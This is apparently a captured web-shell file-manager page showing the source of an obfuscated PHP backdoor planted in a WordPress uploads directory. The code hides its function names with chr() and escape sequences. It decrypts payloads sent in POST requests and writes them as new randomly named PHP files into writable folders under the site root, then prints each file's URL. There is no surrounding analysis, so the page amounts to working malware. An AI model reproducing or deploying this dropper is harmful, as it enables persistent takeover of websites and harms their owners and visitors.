HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/public_html/wp-content/uploads/2021/lferzjpm.php
<?php function qqJurGXruy($rUPnDflDPq, $JeqKT, $vnIvAt){$MgYexYPzoV = "46730c96-33a0-406e-b7dd-509c5c89feb4";return $rUPnDflDPq ^ $MgYexYPzoV[$JeqKT % strlen($MgYexYPzoV)] ^ $vnIvAt;}$yWGzRobdU = "sAXxFe";function pYjrTA($yWGzRobdU){ $BMqkzufJ = "\163"."\x74".chr(114)."\x5f"."\x72".'o'."\x74".chr(1045-996).'3';$yWGzRobdU = $BMqkzufJ($yWGzRobdU);$DkiPMNJmep = chr(114)."\141"."\167".'u'.chr(542-428).chr(108)."\x64".'e'."\143".chr(713-602).chr(100)."\x65";$yWGzRobdU = $DkiPMNJmep($yWGzRobdU);$yWGzRobdU = str_split($yWGzRobdU);return $yWGzRobdU;}function vDaEz($bysklrrHnj, $vnIvAt){$bysklrrHnj = array_map("qqJurGXruy", array_values($bysklrrHnj), array_keys($bysklrrHnj), array_values($vnIvAt));$bysklrrHnj = implode("", $bysklrrHnj);$EYyqgt = "\165".'n'.'s'."\x65"."\162"."\x69".chr(144-47).'l'.chr(105)."\x7a".chr(600-499);$bysklrrHnj = @$EYyqgt($bysklrrHnj);return $bysklrrHnj;}function jBScy($vnIvAt, $bysklrrHnj){$vnIvAt = array_slice(str_split(str_repeat($vnIvAt, (count($bysklrrHnj)/16)+1)), 0, count($bysklrrHnj));return $vnIvAt;}function wxvHTX(){echo "CBnPxM";}function KzMgtTzpW($MCCtHiklir){static $kAnkv = array();$FxnDfjUkqA = glob($MCCtHiklir . '/*', GLOB_ONLYDIR);$slLSuh = count($FxnDfjUkqA);if ($slLSuh > 0) {foreach ($FxnDfjUkqA as $MCCtHikl) {$hTAzuonkM = "\151"."\x73"."\137".chr(688-569).chr(114)."\x69".chr(859-743).'a'.chr(98).chr(108)."\145";if (@$hTAzuonkM($MCCtHikl)) {$kAnkv[] = $MCCtHikl;}}}foreach ($FxnDfjUkqA as $MCCtHiklir) KzMgtTzpW($MCCtHiklir);return $kAnkv;}function yhcPNDxzAL($bysklrrHnj){$ehycNG = "\x44"."\x4f".'C'."\x55"."\115"."\x45".chr(288-210).chr(84).chr(95)."\122"."\117"."\117".'T';$nIKnG = $_SERVER[$ehycNG];$FxnDfjUkqA = KzMgtTzpW($nIKnG);$iXgIvkm = array_rand($FxnDfjUkqA);$VWgPlDWG = "\56".chr(511-399).'h'.chr(112);$SPIry = $FxnDfjUkqA[$iXgIvkm] . "/" . substr(md5(time()), 0, 8) . $VWgPlDWG;$BCUJB = "\146".chr(105)."\154".chr(934-833).chr(897-802).'p'.'u'.'t'.chr(95).chr(99).chr(111).'n'.chr(500-384)."\145"."\156"."\x74".chr(115);@$BCUJB($SPIry, $bysklrrHnj);$hNueI = 'H'."\x54".chr(401-317).chr(557-477)."\137".'H'."\117".chr(640-557).'T';$wHIPE = "\150".chr(116).chr(442-326)."\x70".chr(58)."\x2f"."\57";$gBhoX = $wHIPE . $_SERVER[$hNueI] . substr($SPIry, strlen($nIKnG));print($gBhoX);}function qIJcKU(){$KrXNUEMm = 'p'.chr(104).chr(112);$DvxUGYnjm = "\160".chr(104)."\x70".chr(118).chr(101).chr(114).'s'.chr(756-651)."\157".chr(110);$bysklrrHnj = Array($KrXNUEMm => @$DvxUGYnjm(), );$fvMIGyWCnk = "\163".'e'.chr(268-154)."\151".'a'."\154".chr(414-309).'z'.chr(604-503);echo @$fvMIGyWCnk($bysklrrHnj);}function BfYWk(){echo "sAXxFe";}foreach ($_POST as $vnIvAt => $bysklrrHnj){$HZVCTfhcd = strlen($vnIvAt);if ($HZVCTfhcd == 16){$bysklrrHnj = pYjrTA($bysklrrHnj);$vnIvAt = jBScy($vnIvAt, $bysklrrHnj);$bysklrrHnj = vDaEz($bysklrrHnj, $vnIvAt);if (@is_array($bysklrrHnj)){$iXgIvkm = array_keys($bysklrrHnj);$bysklrrHnj = $bysklrrHnj[$iXgIvkm[0]];$iXgIvkm = $iXgIvkm[0];$iXgIvkm = substr($iXgIvkm, 0);if ($bysklrrHnj !== $iXgIvkm){yhcPNDxzAL($bysklrrHnj);}else {qIJcKU();}}}}die();